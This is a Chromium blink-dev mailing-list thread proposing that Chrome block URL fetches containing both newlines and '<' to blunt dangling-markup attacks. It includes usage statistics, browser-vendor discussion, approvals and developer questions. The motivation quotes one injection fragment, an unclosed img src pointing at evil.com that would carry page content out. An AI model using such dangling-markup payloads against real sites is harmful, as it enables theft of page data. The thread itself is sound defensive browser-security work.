Intent to Remove: Loading resources with newlines and `<` in URLs.

瀏覽次數:8473 次
跳到第一則未讀訊息

Mike West

未讀,
2017年5月22日 清晨7:05:462017/5/22
收件者:blink-dev

Primary eng (and PM) emails

mk...@chromium.org


Link to “Intent to Deprecate” thread

https://groups.google.com/a/chromium.org/d/msg/blink-dev/AqSrOMzwrlk/wUglQnTJCgAJ


Summary

I'd like to block fetches for URLs with `http` or `https` schemes that originally contained both newline and `<` characters. That is, the following image would be blocked:


```

<img src="https://example.com/

this/is/a/path

?and=this&is=a&query=string

">

```


Motivation

As discussed in https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/rOs6YRyBEpw/D3pzVwGJAgAJ, dangling markup is the next softest attack surface, assuming robust defense against direct script injection. Some forms of dangling markup attacks rely upon injecting an unclosed attribute that sucks up portions of a page, and exfiltrates them to an external endpoint (e.g. `<img src='https://evil.com/?` eats the page until the next `'`). This is possible because the URL parser helpfully discards newline characters. It would be lovely if we could make the parser less helpful.

Interoperability and Compatibility Risk

There is some risk, but as discussed below, many affected sites are already broken in one way or another, and I think the systemic risk is concentrated in ad scripts that can change in one place.


I asked other vendors for feedback in March on https://github.com/whatwg/fetch/pull/519, pinged another sample of folks again in https://github.com/whatwg/fetch/issues/546. So far, I've only heard tweetings from developers who think it's a good idea, but nothing from other vendors. I'll ping some more. :)

Edge: ???

Firefox: ???

Safari: ???


Please include links where possible.


Alternative implementation suggestion for web developers

Developers would need to escape content before putting it into a URL. This seems like a reasonable best-practice to encourage.


Usage information from UseCounter

From Chrome's beta channel, we see the following numbers over the last week:

* 0.4708% of page views parse a URL containing `\n`.
* 0.2749% actually fetch a url containing `\n`.
* 0.0189% of page views parse a URL a URL containing both `\n` and `<`.
* I forgot that `<` is percent-encoded by the time we get to fetching, so my data here is crap. Assuming the same ratio, 0.0110% of page views might fetch a URL containing `\n` and `<`.

0.01% is not nothing, so I've dug into the data a little more by running telemetry over a sample of 100k sites (culled from a somewhat-old version of Alexa's 1M). I've put all the details into https://github.com/whatwg/fetch/issues/546 for discussion with other vendors, but the TL;DR is:

* Only 25 pages in that crawl were affected.
* 20 are broken in various ways already (e.g. `<img src="<br>\n<b>Notice</b>: Undefined variable: cid...`).
* 5 contained advertising or tracking scripts that would stop working.

I'd suggest that the effect on most sites is small, and concentrated in shared scripts that seem most likely to update quickly if/when this change started to affect someone's bottom line.

Philip Jägenstedt

未讀,
2017年5月22日 上午11:51:312017/5/22
收件者:Mike West、blink-dev
Given the findings from running telemetry, I think this looks very reasonable.

This is a subset of the deprecation of UseCounter::kCanRequestURLHTTPContainingNewline, right? Will URLs with just newlines and no `<` continue to be deprecated, or is this the final shape of this mitigation?

In the example you gave, I see no `<` in the URL, was that a typo? (https://github.com/whatwg/fetch/pull/519 really does look for both.)

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/CAKXHy%3DdiXK0jjNqnpCzgJwjBDM1z9yAnKeXjGq%3D85hq_L78Zaw%40mail.gmail.com.

Mike

未讀,
2017年5月22日 中午12:17:402017/5/22
收件者:blink-dev、mk...@chromium.org
On Monday, May 22, 2017 at 5:51:31 PM UTC+2, Philip Jägenstedt wrote: 
This is a subset of the deprecation of UseCounter::kCanRequestURLHTTPContainingNewline, right? Will URLs with just newlines and no `<` continue to be deprecated, or is this the final shape of this mitigation?

This is a subset of the existing deprecation, yes, and I would remove the deprecation warning for the rest. 

There's a performance win (and a platform-sanity win!) to dropping the magical whitespace behavior entirely, but the usage is higher than I think I can reasonably inconvenience for those reasons. If the usage changes over time, I'd love to take another stab at getting rid of this magic, but for the specific purposes I care about at the moment, this subset is good enough. URLs with `\n` and `<` are pretty unlikely to be intentional, and there's a clear security win to removing that combination.
 
In the example you gave, I see no `<` in the URL, was that a typo?

Yes. Unfortunately, I'm dumb. :)

Better examples can be found in https://github.com/whatwg/fetch/issues/546. I'll avoid making one up here, as I'd probably just make this more confusing. :)
 
(https://github.com/whatwg/fetch/pull/519 really does look for both.)

So does the patch at https://codereview.chromium.org/2895953002, which also has tests that you could peruse.

Thanks!

-mike

Philip Rogers

未讀,
2017年5月22日 中午12:30:412017/5/22
收件者:Mike、blink-dev
Would this block text-encoded svg data uris such as:
<img src="data:image/svg+xml;utf8,<svg width='100' height='100' xmlns='http://www.w3.org/2000/svg'><rect width='100' height='100' fill='blue'/></svg>">

Mike

未讀,
2017年5月22日 下午2:22:592017/5/22
收件者:blink-dev、mk...@chromium.org
On Monday, May 22, 2017 at 6:30:41 PM UTC+2, Philip Rogers wrote:
Would this block text-encoded svg data uris such as:
<img src="data:image/svg+xml;utf8,<svg width='100' height='100' xmlns='http://www.w3.org/2000/svg'><rect width='100' height='100' fill='blue'/></svg>">

No. Unlike the earlier deprecation, I only intend to block fetches for URLs with `http` or `https` schemes (though I apparently didn't update the patch to Fetch with that language; I'll fix that).

-mike

Mike

未讀,
2017年5月22日 下午2:28:002017/5/22
收件者:blink-dev、mk...@chromium.org
(That said, a comment on https://github.com/whatwg/fetch/issues/546#issuecomment-303167500 notes that Firefox and IE don't actually support the unencoded `<` syntax you're noting, pdr@. If that's accurate, and we think it's sane, perhaps we should take the opportunity to align with their behavior?)
 
-mike

Philip Jägenstedt

未讀,
2017年5月23日 清晨7:26:122017/5/23
收件者:Mike、blink-dev
I guess that would amount to changes in some other code path that has to do with data: URL parsing specifically?

Whatever the case, LGTM1 to blocking the loads following whatever conditions you settle on in the issue/PR, as long as our use counters are a descent proxy for it.

Mike

未讀,
2017年5月24日 上午10:44:052017/5/24
收件者:blink-dev、mk...@chromium.org
Thanks to pdr@, we've confirmed that Firefox and Edge do support raw `<` in `data:` URLs. So I think the approach spelled out in the PRs is the approach I'd prefer.

Apple has raised some layering concerns and performance concerns on the patch to URL: https://github.com/whatwg/url/pull/284. I believe I have good answers to those questions in the thread, and they noted that "it might not be completely catastrophic". So, let's update the interop risk accordingly:

Firefox: ???
Edge: ???

:)

-mike

Rick Byers

未讀,
2017年5月24日 上午11:37:202017/5/24
收件者:Mike、blink-dev
LGTM2

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.

TAMURA, Kent

未讀,
2017年5月29日 晚上10:33:342017/5/29
收件者:Rick Byers、Mike、blink-dev
LGTM3.


chmie...@gmail.com

未讀,
2017年7月27日 上午8:15:232017/7/27
收件者:blink-dev、mk...@chromium.org
I've just saw this warning in console for my <img src="data:image/png;base64,......" /> files as I had left the default format of my encode64 function which is 60 chars per line. So should I change it? Or as there is no http nor https can It stay as is ?

Mike West

未讀,
2017年8月7日 凌晨4:34:122017/8/7
收件者:chmie...@gmail.com、blink-dev
On Thu, Jul 27, 2017 at 2:15 PM, <chmie...@gmail.com> wrote:
I've just saw this warning in console for my <img src="data:image/png;base64,......" /> files as I had left the default format of my encode64 function which is 60 chars per line. So should I change it? Or as there is no http nor https can It stay as is ?

Sorry for the delayed response, I missed this. The behavior in beta right now (Chrome 61) does not block `data:` URLs. It's possible we'll reevaluate that based on usage, but I'll send a separate intent if/when I go down that road.

Thanks!
-mike

canars...@gmail.com

未讀,
2017年8月20日 上午8:16:232017/8/20
收件者:blink-dev
I'm not sure is it true place to say this but I suggest that this should give console warning. It will be better for track and fix that bugs (forget to close tag or new line in URL)

Philip Jägenstedt

未讀,
2017年8月23日 清晨7:38:182017/8/23
收件者:canars...@gmail.com、blink-dev
Hi canarslan1212,

Did you run into this in your own development and found no console warning? There should be this warning: "Resource requests whose URLs contained both removed whitespace (`\\n`, `\\r`, `\\t`) characters and less-than characters (`<`) are blocked. Please remove newlines and encode less-than are blocked. Please remove newlines and encode less-than load these resources. See https://www.chromestatus.com/feature/5735596811091968 for more details."

On Sun, Aug 20, 2017 at 2:16 PM <canars...@gmail.com> wrote:
I'm not sure is it true place to say this but I suggest that this should give console warning. It will be better for track and fix that bugs (forget to close tag or new line in URL)

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.

canars...@gmail.com

未讀,
2017年8月23日 上午8:09:002017/8/23
收件者:blink-dev、canars...@gmail.com
when I type:
<img src="https://www.oceansunucu.com/
imgeler/ocean_sunucu.png
">

It displays image without error (in chrome beta)

I think it should be error, am I wrong?

23 Ağustos 2017 Çarşamba 14:38:18 UTC+3 tarihinde Philip Jägenstedt yazdı:

Philip Jägenstedt

未讀,
2017年8月23日 上午8:27:582017/8/23
收件者:canars...@gmail.com、blink-dev、mk...@chromium.org
As far as I can tell that should be an error, but I'm going to have to defer to +Mike West on this.

Mike West

未讀,
2017年8月23日 上午8:49:062017/8/23
收件者:Philip Jägenstedt、blink-dev、canars...@gmail.com
On Wed 23. Aug 2017 at 05:27, Philip Jägenstedt <foo...@chromium.org> wrote:
As far as I can tell that should be an error, but I'm going to have to defer to +Mike West on this.

On Wed, Aug 23, 2017 at 2:09 PM <canars...@gmail.com> wrote:
when I type:
<img src="https://www.oceansunucu.com/
imgeler/ocean_sunucu.png
">

It displays image without error (in chrome beta)

I think it should be error, am I wrong?

We’re blocking requests that have both a newline and `<`. It doesn’t appear that the tag you’ve described above has a `<` character in the URL, so it won’t be blocked by this change.


23 Ağustos 2017 Çarşamba 14:38:18 UTC+3 tarihinde Philip Jägenstedt yazdı:
Hi canarslan1212,

Did you run into this in your own development and found no console warning? There should be this warning: "Resource requests whose URLs contained both removed whitespace (`\\n`, `\\r`, `\\t`) characters and less-than characters (`<`) are blocked. Please remove newlines and encode less-than are blocked. Please remove newlines and encode less-than load these resources. See https://www.chromestatus.com/feature/5735596811091968 for more details."

On Sun, Aug 20, 2017 at 2:16 PM <canars...@gmail.com> wrote:
I'm not sure is it true place to say this but I suggest that this should give console warning. It will be better for track and fix that bugs (forget to close tag or new line in URL)

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/80d195a7-b47a-43d1-b6cd-7c8fedeb50ba%40chromium.org.

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/c0276630-a38e-4583-9a7c-7134ec85e718%40chromium.org.
--
-mike

canars...@gmail.com

未讀,
2017年8月23日 中午12:56:162017/8/23
收件者:blink-dev、foo...@chromium.org、canars...@gmail.com
I got it but in summary part it says that the following image would be blocked
<img src="https://example.com/
this/is/a/path
?and=this&is=a&query=string
">
but there is no < character. can someone edit first description to make it more clear



23 Ağustos 2017 Çarşamba 15:49:06 UTC+3 tarihinde Mike West yazdı:

gusbe...@gmail.com

未讀,
2017年8月27日 下午4:52:552017/8/27
收件者:blink-dev

Will it block like in PHP:


a. <h3><?php echo _relogios ?></h3>?
b. <img alt="<?php echo _fabrica ?>" src="images/fabrica.jpg"?
b. <a class="navbar-brand" href="index.php?hl=<?php echo $html_language ?>#page-top">?

canars...@gmail.com

未讀,
2017年8月27日 下午6:06:002017/8/27
收件者:blink-dev、gusbe...@gmail.com
a. not related with topic
b. if you have ">" at the end of line nothing will change (
c. no 

if you did not make mistakes about codes like 

<a href="index.php?
hl=<?php echo $html_language ?>
<?php //#page-top" ?>
<div ....

both a newline and `<` are needed 


27 Ağustos 2017 Pazar 23:52:55 UTC+3 tarihinde gusbe...@gmail.com yazdı:

powerba...@gmail.com

未讀,
2017年9月3日 晚上7:58:202017/9/3
收件者:blink-dev

brikena...@gmail.com

未讀,
2017年9月11日 上午8:07:222017/9/11
收件者:blink-dev

aa...@lifeiscontent.net

未讀,
2019年5月13日 下午1:42:582019/5/13
收件者:blink-dev
this broke an old router I'm using, their admin portal uses this as a feature (no idea why) is there a way to enable this back for my local domains so I can upgrade the router?

neverchec...@gmail.com

未讀,
2019年7月30日 中午12:25:352019/7/30
收件者:blink-dev
I have no urls anywhere in my html or js and I'm still getting blocked. what gives??
回覆所有人
回覆作者
轉寄
0 則新訊息